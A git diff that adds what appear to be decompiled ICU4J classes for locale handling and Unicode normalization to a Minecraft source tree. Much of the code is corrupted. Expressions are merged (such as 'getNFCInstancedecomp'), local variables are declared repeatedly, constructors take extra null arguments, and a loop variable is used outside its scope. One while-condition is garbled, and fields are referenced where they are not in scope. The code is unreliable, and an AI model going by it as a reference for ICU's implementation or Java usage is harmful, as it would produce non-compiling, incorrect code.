"TKM", "TUN", "TON", "TUR", "TTO", "TUV", "TWN", "TZA", "UKR", "UGA", "UMI", "USA", "URY", "UZB", "VAT", "VCT", "VEN", "VGB", "VIR", "VNM", "VUT", "WLF", "WSM", "YEM", "MYT", "ZAF", "ZMB", "ZWE" };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final String[] _obsoleteCountries3 = { "ANT", "BUR", "SCG", "FXX", "ROM", "SUN", "TMP", "YMD", "YUG", "ZAR" };
+  
+
+
+
+  public static String getCurrentCountryID(String oldID)
+  {
+    int offset = findIndex(_deprecatedCountries, oldID);
+    if (offset >= 0) {
+      return _replacementCountries[offset];
+    }
+    return oldID;
+  }
+  
+  public static String getCurrentLanguageID(String oldID) {
+    int offset = findIndex(_obsoleteLanguages, oldID);
+    if (offset >= 0) {
+      return _replacementLanguages[offset];
+    }
+    return oldID;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/LocaleUtility.java b/src/minecraft/com/ibm/icu/impl/LocaleUtility.java
new file mode 100644
index 0000000..e877e36
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/LocaleUtility.java
@@ -0,0 +1,132 @@
+package com.ibm.icu.impl;
+
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LocaleUtility
+{
+  public LocaleUtility() {}
+  
+  public static Locale getLocaleFromName(String name)
+  {
+    String language = "";
+    String country = "";
+    String variant = "";
+    
+    int i1 = name.indexOf('_');
+    if (i1 < 0) {
+      language = name;
+    } else {
+      language = name.substring(0, i1);
+      i1++;
+      int i2 = name.indexOf('_', i1);
+      if (i2 < 0) {
+        country = name.substring(i1);
+      } else {
+        country = name.substring(i1, i2);
+        variant = name.substring(i2 + 1);
+      }
+    }
+    
+    return new Locale(language, country, variant);
+  }
+  
+
+
+
+
+  public static boolean isFallbackOf(String parent, String child)
+  {
+    if (!child.startsWith(parent)) {
+      return false;
+    }
+    int i = parent.length();
+    return (i == child.length()) || (child.charAt(i) == '_');
+  }
+  
+
+
+
+
+
+  public static boolean isFallbackOf(Locale parent, Locale child)
+  {
+    return isFallbackOf(parent.toString(), child.toString());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Locale fallback(Locale loc)
+  {
+    String[] parts = { loc.getLanguage(), loc.getCountry(), loc.getVariant() };
+    
+
+    for (int i = 2; i >= 0; i--) {
+      if (parts[i].length() != 0) {
+        parts[i] = "";
+        break;
+      }
+    }
+    if (i < 0) {
+      return null;
+    }
+    return new Locale(parts[0], parts[1], parts[2]);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/MultiComparator.java b/src/minecraft/com/ibm/icu/impl/MultiComparator.java
new file mode 100644
index 0000000..e0fba99
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/MultiComparator.java
@@ -0,0 +1,36 @@
+package com.ibm.icu.impl;
+
+import java.util.Comparator;
+
+
+
+
+public class MultiComparator<T>
+  implements Comparator<T>
+{
+  private Comparator<T>[] comparators;
+  
+  public MultiComparator(Comparator<T>... comparators)
+  {
+    this.comparators = comparators;
+  }
+  
+
+
+
+
+  public int compare(T arg0, T arg1)
+  {
+    for (int i = 0; i < comparators.length; i++) {
+      int result = comparators[i].compare(arg0, arg1);
+      if (result != 0)
+      {
+
+        if (result > 0) {
+          return i + 1;
+        }
+        return -(i + 1);
+      } }
+    return 0;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/Norm2AllModes.java b/src/minecraft/com/ibm/icu/impl/Norm2AllModes.java
new file mode 100644
index 0000000..36581c4
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/Norm2AllModes.java
@@ -0,0 +1,388 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.Normalizer;
+import com.ibm.icu.text.Normalizer.QuickCheckResult;
+import com.ibm.icu.text.Normalizer2;
+import java.io.InputStream;
+
+public final class Norm2AllModes
+{
+  public final Normalizer2Impl impl;
+  public final ComposeNormalizer2 comp;
+  public final DecomposeNormalizer2 decomp;
+  public final FCDNormalizer2 fcd;
+  public final ComposeNormalizer2 fcc;
+  
+  public static final class NoopNormalizer2 extends Normalizer2
+  {
+    public NoopNormalizer2() {}
+    
+    public StringBuilder normalize(CharSequence src, StringBuilder dest)
+    {
+      if (dest != src) {
+        dest.setLength(0);
+        return dest.append(src);
+      }
+      throw new IllegalArgumentException();
+    }
+    
+    public Appendable normalize(CharSequence src, Appendable dest)
+    {
+      if (dest != src) {
+        try {
+          return dest.append(src);
+        } catch (java.io.IOException e) {
+          throw new RuntimeException(e);
+        }
+      }
+      throw new IllegalArgumentException();
+    }
+    
+    public StringBuilder normalizeSecondAndAppend(StringBuilder first, CharSequence second)
+    {
+      if (first != second) {
+        return first.append(second);
+      }
+      throw new IllegalArgumentException();
+    }
+    
+    public StringBuilder append(StringBuilder first, CharSequence second)
+    {
+      if (first != second) {
+        return first.append(second);
+      }
+      throw new IllegalArgumentException();
+    }
+    
+    public String getDecomposition(int c)
+    {
+      return null;
+    }
+    
+
+    public boolean isNormalized(CharSequence s) { return true; }
+    
+    public Normalizer.QuickCheckResult quickCheck(CharSequence s) { return Normalizer.YES; }
+    
+    public int spanQuickCheckYes(CharSequence s) { return s.length(); }
+    
+    public boolean hasBoundaryBefore(int c) { return true; }
+    
+    public boolean hasBoundaryAfter(int c) { return true; }
+    
+    public boolean isInert(int c) { return true; }
+  }
+  
+  public static abstract class Normalizer2WithImpl extends Normalizer2 {
+    public final Normalizer2Impl impl;
+    
+    public Normalizer2WithImpl(Normalizer2Impl ni) {
+      impl = ni;
+    }
+    
+
+    public StringBuilder normalize(CharSequence src, StringBuilder dest)
+    {
+      if (dest == src) {
+        throw new IllegalArgumentException();
+      }
+      dest.setLength(0);
+      normalize(src, new Normalizer2Impl.ReorderingBuffer(impl, dest, src.length()));
+      return dest;
+    }
+    
+    public Appendable normalize(CharSequence src, Appendable dest) {
+      if (dest == src) {
+        throw new IllegalArgumentException();
+      }
+      Normalizer2Impl.ReorderingBuffer buffer = new Normalizer2Impl.ReorderingBuffer(impl, dest, src.length());
+      
+      normalize(src, buffer);
+      buffer.flush();
+      return dest;
+    }
+    
+    protected abstract void normalize(CharSequence paramCharSequence, Normalizer2Impl.ReorderingBuffer paramReorderingBuffer);
+    
+    public StringBuilder normalizeSecondAndAppend(StringBuilder first, CharSequence second)
+    {
+      return normalizeSecondAndAppend(first, second, true);
+    }
+    
+    public StringBuilder append(StringBuilder first, CharSequence second) {
+      return normalizeSecondAndAppend(first, second, false);
+    }
+    
+    public StringBuilder normalizeSecondAndAppend(StringBuilder first, CharSequence second, boolean doNormalize) {
+      if (first == second) {
+        throw new IllegalArgumentException();
+      }
+      normalizeAndAppend(second, doNormalize, new Normalizer2Impl.ReorderingBuffer(impl, first, first.length() + second.length()));
+      
+
+      return first;
+    }
+    
+    protected abstract void normalizeAndAppend(CharSequence paramCharSequence, boolean paramBoolean, Normalizer2Impl.ReorderingBuffer paramReorderingBuffer);
+    
+    public String getDecomposition(int c)
+    {
+      return impl.getDecomposition(c);
+    }
+    
+    public String getRawDecomposition(int c) {
+      return impl.getRawDecomposition(c);
+    }
+    
+    public int composePair(int a, int b) {
+      return impl.composePair(a, b);
+    }
+    
+    public int getCombiningClass(int c)
+    {
+      return impl.getCC(impl.getNorm16(c));
+    }
+    
+
+    public boolean isNormalized(CharSequence s)
+    {
+      return s.length() == spanQuickCheckYes(s);
+    }
+    
+    public Normalizer.QuickCheckResult quickCheck(CharSequence s) {
+      return isNormalized(s) ? Normalizer.YES : Normalizer.NO;
+    }
+    
+    public int getQuickCheck(int c) {
+      return 1;
+    }
+  }
+  
+  public static final class DecomposeNormalizer2 extends Norm2AllModes.Normalizer2WithImpl
+  {
+    public DecomposeNormalizer2(Normalizer2Impl ni)
+    {
+      super();
+    }
+    
+    protected void normalize(CharSequence src, Normalizer2Impl.ReorderingBuffer buffer)
+    {
+      impl.decompose(src, 0, src.length(), buffer);
+    }
+    
+    protected void normalizeAndAppend(CharSequence src, boolean doNormalize, Normalizer2Impl.ReorderingBuffer buffer)
+    {
+      impl.decomposeAndAppend(src, doNormalize, buffer);
+    }
+    
+    public int spanQuickCheckYes(CharSequence s) {
+      return impl.decompose(s, 0, s.length(), null);
+    }
+    
+    public int getQuickCheck(int c) {
+      return impl.isDecompYes(impl.getNorm16(c)) ? 1 : 0;
+    }
+    
+    public boolean hasBoundaryBefore(int c) { return impl.hasDecompBoundary(c, true); }
+    
+    public boolean hasBoundaryAfter(int c) { return impl.hasDecompBoundary(c, false); }
+    
+    public boolean isInert(int c) { return impl.isDecompInert(c); }
+  }
+  
+  public static final class ComposeNormalizer2 extends Norm2AllModes.Normalizer2WithImpl { private final boolean onlyContiguous;
+    
+    public ComposeNormalizer2(Normalizer2Impl ni, boolean fcc) { super();
+      onlyContiguous = fcc;
+    }
+    
+    protected void normalize(CharSequence src, Normalizer2Impl.ReorderingBuffer buffer)
+    {
+      impl.compose(src, 0, src.length(), onlyContiguous, true, buffer);
+    }
+    
+    protected void normalizeAndAppend(CharSequence src, boolean doNormalize, Normalizer2Impl.ReorderingBuffer buffer)
+    {
+      impl.composeAndAppend(src, doNormalize, onlyContiguous, buffer);
+    }
+    
+
+    public boolean isNormalized(CharSequence s)
+    {
+      return impl.compose(s, 0, s.length(), onlyContiguous, false, new Normalizer2Impl.ReorderingBuffer(impl, new StringBuilder(), 5));
+    }
+    
+
+    public Normalizer.QuickCheckResult quickCheck(CharSequence s)
+    {
+      int spanLengthAndMaybe = impl.composeQuickCheck(s, 0, s.length(), onlyContiguous, false);
+      if ((spanLengthAndMaybe & 0x1) != 0)
+        return Normalizer.MAYBE;
+      if (spanLengthAndMaybe >>> 1 == s.length()) {
+        return Normalizer.YES;
+      }
+      return Normalizer.NO;
+    }
+    
+    public int spanQuickCheckYes(CharSequence s)
+    {
+      return impl.composeQuickCheck(s, 0, s.length(), onlyContiguous, true) >>> 1;
+    }
+    
+    public int getQuickCheck(int c) {
+      return impl.getCompQuickCheck(impl.getNorm16(c));
+    }
+    
+    public boolean hasBoundaryBefore(int c) { return impl.hasCompBoundaryBefore(c); }
+    
+    public boolean hasBoundaryAfter(int c) {
+      return impl.hasCompBoundaryAfter(c, onlyContiguous, false);
+    }
+    
+    public boolean isInert(int c) {
+      return impl.hasCompBoundaryAfter(c, onlyContiguous, true);
+    }
+  }
+  
+  public static final class FCDNormalizer2 extends Norm2AllModes.Normalizer2WithImpl
+  {
+    public FCDNormalizer2(Normalizer2Impl ni)
+    {
+      super();
+    }
+    
+    protected void normalize(CharSequence src, Normalizer2Impl.ReorderingBuffer buffer)
+    {
+      impl.makeFCD(src, 0, src.length(), buffer);
+    }
+    
+    protected void normalizeAndAppend(CharSequence src, boolean doNormalize, Normalizer2Impl.ReorderingBuffer buffer)
+    {
+      impl.makeFCDAndAppend(src, doNormalize, buffer);
+    }
+    
+    public int spanQuickCheckYes(CharSequence s) {
+      return impl.makeFCD(s, 0, s.length(), null);
+    }
+    
+    public int getQuickCheck(int c) {
+      return impl.isDecompYes(impl.getNorm16(c)) ? 1 : 0;
+    }
+    
+    public boolean hasBoundaryBefore(int c) { return impl.hasFCDBoundaryBefore(c); }
+    
+    public boolean hasBoundaryAfter(int c) { return impl.hasFCDBoundaryAfter(c); }
+    
+    public boolean isInert(int c) { return impl.isFCDInert(c); }
+  }
+  
+
+  private Norm2AllModes(Normalizer2Impl ni)
+  {
+    impl = ni;
+    comp = new ComposeNormalizer2(ni, false);
+    decomp = new DecomposeNormalizer2(ni);
+    fcd = new FCDNormalizer2(ni);
+    fcc = new ComposeNormalizer2(ni, true);
+  }
+  
+
+
+
+
+
+  private static Norm2AllModes getInstanceFromSingleton(Norm2AllModesSingleton singleton)
+  {
+    if (exception != null) {
+      throw exception;
+    }
+    return allModes;
+  }
+  
+  public static Norm2AllModes getNFCInstance() { return getInstanceFromSingleton(NFCSingleton.INSTANCE); }
+  
+  public static Norm2AllModes getNFKCInstance() {
+    return getInstanceFromSingleton(NFKCSingleton.INSTANCE);
+  }
+  
+  public static Norm2AllModes getNFKC_CFInstance() { return getInstanceFromSingleton(NFKC_CFSingleton.INSTANCE); }
+  
+  public static Normalizer2WithImpl getN2WithImpl(int index)
+  {
+    switch (index) {
+    case 0:  return getNFCInstancedecomp;
+    case 1:  return getNFKCInstancedecomp;
+    case 2:  return getNFCInstancecomp;
+    case 3:  return getNFKCInstancecomp; }
+    return null;
+  }
+  
+  public static Norm2AllModes getInstance(InputStream data, String name) {
+    if (data == null) { Norm2AllModesSingleton singleton;
+      Norm2AllModesSingleton singleton;
+      if (name.equals("nfc")) {
+        singleton = NFCSingleton.INSTANCE; } else { Norm2AllModesSingleton singleton;
+        if (name.equals("nfkc")) {
+          singleton = NFKCSingleton.INSTANCE; } else { Norm2AllModesSingleton singleton;
+          if (name.equals("nfkc_cf")) {
+            singleton = NFKC_CFSingleton.INSTANCE;
+          } else
+            singleton = null;
+        } }
+      if (singleton != null) {
+        if (exception != null) {
+          throw exception;
+        }
+        return allModes;
+      }
+    }
+    return (Norm2AllModes)cache.getInstance(name, data); }
+  
+  private static CacheBase<String, Norm2AllModes, InputStream> cache = new SoftCache() {
+    protected Norm2AllModes createInstance(String key, InputStream data) {
+      Normalizer2Impl impl;
+      Normalizer2Impl impl;
+      if (data == null) {
+        impl = new Normalizer2Impl().load("data/icudt51b/" + key + ".nrm");
+      } else {
+        impl = new Normalizer2Impl().load(data);
+      }
+      return new Norm2AllModes(impl, null);
+    }
+  };
+  
+  public static final NoopNormalizer2 NOOP_NORMALIZER2 = new NoopNormalizer2();
+  
+
+
+
+
+  public static Normalizer2 getFCDNormalizer2() { return getNFCInstancefcd; }
+  
+  private static final class Norm2AllModesSingleton {
+    private Norm2AllModes allModes;
+    private RuntimeException exception;
+    
+    private Norm2AllModesSingleton(String name) { try { Normalizer2Impl impl = new Normalizer2Impl().load("data/icudt51b/" + name + ".nrm");
+        
+        allModes = new Norm2AllModes(impl, null);
+      } catch (RuntimeException e) {
+        exception = e;
+      }
+    }
+  }
+  
+  private static final class NFCSingleton {
+    private NFCSingleton() {}
+    
+    private static final Norm2AllModes.Norm2AllModesSingleton INSTANCE = new Norm2AllModes.Norm2AllModesSingleton("nfc", null);
+    
+     }
+  private static final class NFKCSingleton { private static final Norm2AllModes.Norm2AllModesSingleton INSTANCE = new Norm2AllModes.Norm2AllModesSingleton("nfkc", null);
+    
+    private NFKCSingleton() {} }
+  private static final class NFKC_CFSingleton { private static final Norm2AllModes.Norm2AllModesSingleton INSTANCE = new Norm2AllModes.Norm2AllModesSingleton("nfkc_cf", null);
+    
+    private NFKC_CFSingleton() {}
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/Normalizer2Impl.java b/src/minecraft/com/ibm/icu/impl/Normalizer2Impl.java
new file mode 100644
index 0000000..61dad43
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/Normalizer2Impl.java
@@ -0,0 +1,2130 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UTF16;
+import com.ibm.icu.text.UnicodeSet;
+import com.ibm.icu.util.VersionInfo;
+import java.io.BufferedInputStream;
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+public final class Normalizer2Impl
+{
+  public Normalizer2Impl() {}
+  
+  public static final class Hangul
+  {
+    public static final int JAMO_L_BASE = 4352;
+    public static final int JAMO_V_BASE = 4449;
+    public static final int JAMO_T_BASE = 4519;
+    public static final int HANGUL_BASE = 44032;
+    public static final int JAMO_L_COUNT = 19;
+    public static final int JAMO_V_COUNT = 21;
+    public static final int JAMO_T_COUNT = 28;
+    public static final int JAMO_L_LIMIT = 4371;
+    public static final int JAMO_V_LIMIT = 4470;
+    public static final int JAMO_VT_COUNT = 588;
+    public static final int HANGUL_COUNT = 11172;
+    public static final int HANGUL_LIMIT = 55204;
+    
+    public Hangul() {}
+    
+    public static boolean isHangul(int c) { return (44032 <= c) && (c < 55204); }
+    
+    public static boolean isHangulWithoutJamoT(char c) {
+      c = (char)(c - 44032);
+      return (c < '⮤') && (c % '\034' == 0);
+    }
+    
+    public static boolean isJamoL(int c) { return (4352 <= c) && (c < 4371); }
+    
+    public static boolean isJamoV(int c) {
+      return (4449 <= c) && (c < 4470);
+    }
+    
+
+
+    public static int decompose(int c, Appendable buffer)
+    {
+      try
+      {
+        c -= 44032;
+        int c2 = c % 28;
+        c /= 28;
+        buffer.append((char)(4352 + c / 21));
+        buffer.append((char)(4449 + c % 21));
+        if (c2 == 0) {
+          return 2;
+        }
+        buffer.append((char)(4519 + c2));
+        return 3;
+      }
+      catch (IOException e)
+      {
+        throw new RuntimeException(e);
+      }
+    }
+    
+
+
+    public static void getRawDecomposition(int c, Appendable buffer)
+    {
+      try
+      {
+        int orig = c;
+        c -= 44032;
+        int c2 = c % 28;
+        if (c2 == 0) {
+          c /= 28;
+          buffer.append((char)(4352 + c / 21));
+          buffer.append((char)(4449 + c % 21));
+        } else {
+          buffer.append((char)(orig - c2));
+          buffer.append((char)(4519 + c2));
+        }
+      }
+      catch (IOException e) {
+        throw new RuntimeException(e);
+      }
+    }
+  }
+  
+  public static final class ReorderingBuffer implements Appendable
+  {
+    private final Normalizer2Impl impl;
+    private final Appendable app;
+    private final StringBuilder str;
+    private final boolean appIsStringBuilder;
+    private int reorderStart;
+    private int lastCC;
+    private int codePointStart;
+    private int codePointLimit;
+    
+    public ReorderingBuffer(Normalizer2Impl ni, Appendable dest, int destCapacity)
+    {
+      impl = ni;
+      app = dest;
+      if ((app instanceof StringBuilder)) {
+        appIsStringBuilder = true;
+        str = ((StringBuilder)dest);
+        
+        str.ensureCapacity(destCapacity);
+        reorderStart = 0;
+        if (str.length() == 0) {
+          lastCC = 0;
+        } else {
+          setIterator();
+          lastCC = previousCC();
+          
+          while ((lastCC > 1) && 
+            (previousCC() > 1)) {}
+          
+          reorderStart = codePointLimit;
+        }
+      } else {
+        appIsStringBuilder = false;
+        str = new StringBuilder();
+        reorderStart = 0;
+        lastCC = 0;
+      }
+    }
+    
+    public boolean isEmpty() { return str.length() == 0; }
+    public int length() { return str.length(); }
+    public int getLastCC() { return lastCC; }
+    
+    public StringBuilder getStringBuilder() { return str; }
+    
+    public boolean equals(CharSequence s, int start, int limit) {
+      return Normalizer2Impl.UTF16Plus.equal(str, 0, str.length(), s, start, limit);
+    }
+    
+    public void setLastChar(char c)
+    {
+      str.setCharAt(str.length() - 1, c);
+    }
+    
+    public void append(int c, int cc) {
+      if ((lastCC <= cc) || (cc == 0)) {
+        str.appendCodePoint(c);
+        lastCC = cc;
+        if (cc <= 1) {
+          reorderStart = str.length();
+        }
+      } else {
+        insert(c, cc);
+      }
+    }
+    
+    public void append(CharSequence s, int start, int limit, int leadCC, int trailCC)
+    {
+      if (start == limit) {
+        return;
+      }
+      if ((lastCC <= leadCC) || (leadCC == 0)) {
+        if (trailCC <= 1) {
+          reorderStart = (str.length() + (limit - start));
+        } else if (leadCC <= 1) {
+          reorderStart = (str.length() + 1);
+        }
+        str.append(s, start, limit);
+        lastCC = trailCC;
+      } else {
+        int c = Character.codePointAt(s, start);
+        start += Character.charCount(c);
+        insert(c, leadCC);
+        while (start < limit) {
+          c = Character.codePointAt(s, start);
+          start += Character.charCount(c);
+          if (start < limit)
+          {
+            leadCC = Normalizer2Impl.getCCFromYesOrMaybe(impl.getNorm16(c));
+          } else {
+            leadCC = trailCC;
+          }
+          append(c, leadCC);
+        }
+      }
+    }
+    
+
+
+    public ReorderingBuffer append(char c)
+    {
+      str.append(c);
+      lastCC = 0;
+      reorderStart = str.length();
+      return this;
+    }
+    
+    public void appendZeroCC(int c) { str.appendCodePoint(c);
+      lastCC = 0;
+      reorderStart = str.length();
+    }
+    
+    public ReorderingBuffer append(CharSequence s) {
+      if (s.length() != 0) {
+        str.append(s);
+        lastCC = 0;
+        reorderStart = str.length();
+      }
+      return this;
+    }
+    
+    public ReorderingBuffer append(CharSequence s, int start, int limit) {
+      if (start != limit) {
+        str.append(s, start, limit);
+        lastCC = 0;
+        reorderStart = str.length();
+      }
+      return this;
+    }
+    
+
+
+
+
+    public void flush()
+    {
+      if (appIsStringBuilder) {
+        reorderStart = str.length();
+      } else {
+        try {
+          app.append(str);
+          str.setLength(0);
+          reorderStart = 0;
+        } catch (IOException e) {
+          throw new RuntimeException(e);
+        }
+      }
+      lastCC = 0;
+    }
+    
+
+
+
+
+    public ReorderingBuffer flushAndAppendZeroCC(CharSequence s, int start, int limit)
+    {
+      if (appIsStringBuilder) {
+        str.append(s, start, limit);
+        reorderStart = str.length();
+      } else {
+        try {
+          app.append(str).append(s, start, limit);
+          str.setLength(0);
+          reorderStart = 0;
+        } catch (IOException e) {
+          throw new RuntimeException(e);
+        }
+      }
+      lastCC = 0;
+      return this;
+    }
+    
+    public void remove() { str.setLength(0);
+      lastCC = 0;
+      reorderStart = 0;
+    }
+    
+    public void removeSuffix(int suffixLength) { int oldLength = str.length();
+      str.delete(oldLength - suffixLength, oldLength);
+      lastCC = 0;
+      reorderStart = str.length();
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private void insert(int c, int cc)
+    {
+      setIterator();skipPrevious(); while (previousCC() > cc) {}
+      
+      if (c <= 65535) {
+        str.insert(codePointLimit, (char)c);
+        if (cc <= 1) {
+          reorderStart = (codePointLimit + 1);
+        }
+      } else {
+        str.insert(codePointLimit, Character.toChars(c));
+        if (cc <= 1) {
+          reorderStart = (codePointLimit + 2);
+        }
+      }
+    }
+    
+
+
+
+
+
+
+
+
+    private void setIterator() { codePointStart = str.length(); }
+    
+    private void skipPrevious() { codePointLimit = codePointStart;
+      codePointStart = str.offsetByCodePoints(codePointStart, -1);
+    }
+    
+    private int previousCC() { codePointLimit = codePointStart;
+      if (reorderStart >= codePointStart) {
+        return 0;
+      }
+      int c = str.codePointBefore(codePointStart);
+      codePointStart -= Character.charCount(c);
+      if (c < 768) {
+        return 0;
+      }
+      return Normalizer2Impl.getCCFromYesOrMaybe(impl.getNorm16(c));
+    }
+  }
+  
+
+
+
+  public static final class UTF16Plus
+  {
+    public UTF16Plus() {}
+    
+
+
+
+    public static boolean isSurrogateLead(int c)
+    {
+      return (c & 0x400) == 0;
+    }
+    
+
+
+
+    public static boolean equal(CharSequence s1, CharSequence s2)
+    {
+      if (s1 == s2) {
+        return true;
+      }
+      int length = s1.length();
+      if (length != s2.length()) {
+        return false;
+      }
+      for (int i = 0; i < length; i++) {
+        if (s1.charAt(i) != s2.charAt(i)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public static boolean equal(CharSequence s1, int start1, int limit1, CharSequence s2, int start2, int limit2)
+    {
+      if (limit1 - start1 != limit2 - start2) {
+        return false;
+      }
+      if ((s1 == s2) && (start1 == start2)) {
+        return true;
+      }
+      while (start1 < limit1) {
+        if (s1.charAt(start1++) != s2.charAt(start2++)) {
+          return false;
+        }
+      }
+      return true;
+    }
+  }
+  
+  private static final class IsAcceptable
+    implements ICUBinary.Authenticate
+  {
+    private IsAcceptable() {}
+    
+    public boolean isDataVersionAcceptable(byte[] version) { return version[0] == 2; }
+  }
+  
+  private static final IsAcceptable IS_ACCEPTABLE = new IsAcceptable(null);
+  private static final byte[] DATA_FORMAT = { 78, 114, 109, 50 };
+  
+  public Normalizer2Impl load(InputStream data) {
+    try {
+      BufferedInputStream bis = new BufferedInputStream(data);
+      dataVersion = ICUBinary.readHeaderAndDataVersion(bis, DATA_FORMAT, IS_ACCEPTABLE);
+      DataInputStream ds = new DataInputStream(bis);
+      int indexesLength = ds.readInt() / 4;
+      if (indexesLength <= 13) {
+        throw new IOException("Normalizer2 data: not enough indexes");
+      }
+      int[] inIndexes = new int[indexesLength];
+      inIndexes[0] = (indexesLength * 4);
+      for (int i = 1; i < indexesLength; i++) {
+        inIndexes[i] = ds.readInt();
+      }
+      
+      minDecompNoCP = inIndexes[8];
+      minCompNoMaybeCP = inIndexes[9];
+      
+      minYesNo = inIndexes[10];
+      minYesNoMappingsOnly = inIndexes[14];
+      minNoNo = inIndexes[11];
+      limitNoNo = inIndexes[12];
+      minMaybeYes = inIndexes[13];
+      
+
+      int offset = inIndexes[0];
+      int nextOffset = inIndexes[1];
+      normTrie = Trie2_16.createFromSerialized(ds);
+      int trieLength = normTrie.getSerializedLength();
+      if (trieLength > nextOffset - offset) {
+        throw new IOException("Normalizer2 data: not enough bytes for normTrie");
+      }
+      ds.skipBytes(nextOffset - offset - trieLength);
+      
+
+      offset = nextOffset;
+      nextOffset = inIndexes[2];
+      int numChars = (nextOffset - offset) / 2;
+      
+      if (numChars != 0) {
+        char[] chars = new char[numChars];
+        for (int i = 0; i < numChars; i++) {
+          chars[i] = ds.readChar();
+        }
+        maybeYesCompositions = new String(chars);
+        extraData = maybeYesCompositions.substring(65024 - minMaybeYes);
+      }
+      
+
+      offset = nextOffset;
+      smallFCD = new byte['Ā'];
+      for (int i = 0; i < 256; i++) {
+        smallFCD[i] = ds.readByte();
+      }
+      
+
+
+      tccc180 = new int['ƀ'];
+      int bits = 0;
+      for (int c = 0; c < 384; bits >>= 1) {
+        if ((c & 0xFF) == 0) {
+          bits = smallFCD[(c >> 8)];
+        }
+        if ((bits & 0x1) != 0) {
+          for (int i = 0; i < 32; c++) {
+            tccc180[c] = (getFCD16FromNormData(c) & 0xFF);i++;
+          }
+        } else {
+          c += 32;
+        }
+      }
+      
+      data.close();
+      return this;
+    } catch (IOException e) {
+      throw new RuntimeException(e);
+    }
+  }
+  
+  public Normalizer2Impl load(String name) { return load(ICUData.getRequiredStream(name)); }
+  
+
+  public void addPropertyStarts(UnicodeSet set)
+  {
+    Iterator<Trie2.Range> trieIterator = normTrie.iterator();
+    Trie2.Range range;
+    while ((trieIterator.hasNext()) && (!nextleadSurrogate))
+    {
+      set.add(startCodePoint);
+    }
+    
+
+    for (int c = 44032; c < 55204; c += 28) {
+      set.add(c);
+      set.add(c + 1);
+    }
+    set.add(55204);
+  }
+  
+  public void addCanonIterPropertyStarts(UnicodeSet set)
+  {
+    ensureCanonIterData();
+    
+    Iterator<Trie2.Range> trieIterator = canonIterData.iterator(segmentStarterMapper);
+    Trie2.Range range;
+    while ((trieIterator.hasNext()) && (!nextleadSurrogate))
+    {
+      set.add(startCodePoint); }
+  }
+  
+  private static final Trie2.ValueMapper segmentStarterMapper = new Trie2.ValueMapper()
+  {
+    public int map(int in) { return in & 0x80000000; }
+  };
+  public static final int MIN_CCC_LCCC_CP = 768;
+  public static final int MIN_YES_YES_WITH_CC = 65281;
+  public static final int JAMO_VT = 65280;
+  
+  public Trie2_16 getNormTrie() { return normTrie; }
+  
+
+  public static final int MIN_NORMAL_MAYBE_YES = 65024;
+  public static final int JAMO_L = 1;
+  public static final int MAX_DELTA = 64;
+  public static final int IX_NORM_TRIE_OFFSET = 0;
+  public static final int IX_EXTRA_DATA_OFFSET = 1;
+  public static final int IX_SMALL_FCD_OFFSET = 2;
+  public static final int IX_RESERVED3_OFFSET = 3;
+  public static final int IX_TOTAL_SIZE = 7;
+  public static final int IX_MIN_DECOMP_NO_CP = 8;
+  public static final int IX_MIN_COMP_NO_MAYBE_CP = 9;
+  public static final int IX_MIN_YES_NO = 10;
+  public static final int IX_MIN_NO_NO = 11;
+  
+  public synchronized Normalizer2Impl ensureCanonIterData()
+  {
+    if (canonIterData == null) {
+      Trie2Writable newData = new Trie2Writable(0, 0);
+      canonStartSets = new ArrayList();
+      Iterator<Trie2.Range> trieIterator = normTrie.iterator();
+      Trie2.Range range;
+      while ((trieIterator.hasNext()) && (!nextleadSurrogate)) {
+        int norm16 = value;
+        if ((norm16 != 0) && ((minYesNo > norm16) || (norm16 >= minNoNo)))
+        {
+
+
+
+
+
+
+
+          for (int c = startCodePoint; c <= endCodePoint; c++) {
+            int oldValue = newData.get(c);
+            int newValue = oldValue;
+            if (norm16 >= minMaybeYes)
+            {
+              newValue |= 0x80000000;
+              if (norm16 < 65024) {
+                newValue |= 0x40000000;
+              }
+            } else if (norm16 < minYesNo) {
+              newValue |= 0x40000000;
+            }
+            else {
+              int c2 = c;
+              int norm16_2 = norm16;
+              while ((limitNoNo <= norm16_2) && (norm16_2 < minMaybeYes)) {
+                c2 = mapAlgorithmic(c2, norm16_2);
+                norm16_2 = getNorm16(c2);
+              }
+              if ((minYesNo <= norm16_2) && (norm16_2 < limitNoNo))
+              {
+                int firstUnit = extraData.charAt(norm16_2);
+                int length = firstUnit & 0x1F;
+                if (((firstUnit & 0x80) != 0) && 
+                  (c == c2) && ((extraData.charAt(norm16_2 - 1) & 0xFF) != 0)) {
+                  newValue |= 0x80000000;
+                }
+                
+
+                if (length != 0) {
+                  norm16_2++;
+                  
+                  int limit = norm16_2 + length;
+                  c2 = extraData.codePointAt(norm16_2);
+                  addToStartSet(newData, c, c2);
+                  
+
+
+                  if (norm16_2 >= minNoNo) {
+                    while (norm16_2 += Character.charCount(c2) < limit) {
+                      c2 = extraData.codePointAt(norm16_2);
+                      int c2Value = newData.get(c2);
+                      if ((c2Value & 0x80000000) == 0) {
+                        newData.set(c2, c2Value | 0x80000000);
+                      }
+                    }
+                  }
+                }
+              }
+              else {
+                addToStartSet(newData, c, c2);
+              }
+            }
+            if (newValue != oldValue)
